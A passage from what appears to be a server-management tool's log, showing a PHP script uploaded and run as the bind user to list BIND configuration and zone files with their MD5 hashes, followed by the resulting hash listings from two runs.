MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:58:20: Establishing a connection
2026-02-09 13:58:20: 

PUT: /tmp/pkp709294

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:58:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp709294; rm /tmp/pkp709294'

2026-02-09 13:58:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:00:05: Establishing a connection
2026-02-09 14:00:05: 

PUT: /tmp/pkp706296

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:00:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp706296; rm /tmp/pkp706296'

2026-02-09 14:00:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
